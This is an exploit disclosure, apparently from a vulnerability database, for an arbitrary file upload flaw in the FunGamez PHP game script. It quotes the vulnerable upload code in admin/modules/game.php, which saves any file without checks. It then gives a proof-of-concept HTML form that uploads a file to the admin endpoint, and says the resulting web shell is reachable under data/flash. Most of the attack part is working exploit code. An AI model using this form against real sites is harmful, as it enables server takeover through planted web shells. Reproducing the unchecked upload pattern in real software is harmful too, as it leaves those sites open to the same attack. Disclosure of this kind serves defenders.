FunGamez Remote File Upload Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

FunGamez Remote File Upload Vulnerability, Allows Unauthorized File Uploa


                                                # FunGamez Remote File Upload Vulnerability
# Brought to you by cr4wl3r http://bastardlabs.info
# Software Link: http://sourceforge.net/projects/fg-gsm/?source=dlp
-----------------------------------------------
Source [FunGamez]/admin/modules/game.php

..........
135    &#60;/table&#62;&#60;/form&#62;&#60;?php
136 }
137 Else If ( $mode == &#39;newsave&#39; )
138 {
139   If ( $_FILES[&#39;src_upload&#39;][&#39;name&#39;] != &#39;&#39; && $_POST[&#39;src_link&#39;] != &#39;&#39; ) { header(&#39;Location: ./index.php?admin&module=game&mode=new&msg=doublesrc&#39;); die(); }
140   If ( ( $_FILES[&#39;src_upload&#39;][&#39;name&#39;] == &#39;&#39; && $_POST[&#39;src_link&#39;] == &#39;&#39; ) || $_POST[&#39;name&#39;] == &#39;&#39; ) { header(&#39;Location: ./index.php?admin&module=game&mode=new&msg=reqg&#39;); die(); }
141   If ( $_FILES[&#39;src_upload&#39;][&#39;name&#39;] != &#39;&#39; )
142   {
143      $src = $_FILES[&#39;src_upload&#39;][&#39;name&#39;];
144	  move_uploaded_file($_FILES[&#39;src_upload&#39;][&#39;tmp_name&#39;], &#39;./data/flash/&#39;.$_FILES[&#39;src_upload&#39;][&#39;name&#39;]);
145   }
..........


Proof of concept:

&#60;form action=&#34;http://localhost/[FunGamez]/index.php?admin&module=game&mode=newsave&#34; method=&#34;POST&#34; enctype=&#34;multipart/form-data&#34;&#62;
&#60;input type=&#34;text&#34; name=&#34;name&#34; value=&#34;blablablablabla&#34; /&#62;&#60;br&#62;
&#60;input type=&#34;file&#34; name=&#34;src_upload&#34; /&#62;&#60;br&#62;
&#60;input type=&#34;submit&#34; value=&#34;w00tw00t&#34; /&#62;

And your shell will be available here:

http://localhost/[FunGamez]/data/flash/shell.php

-----------------------------------------------

// Gorontalo 31 Juli 2013

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1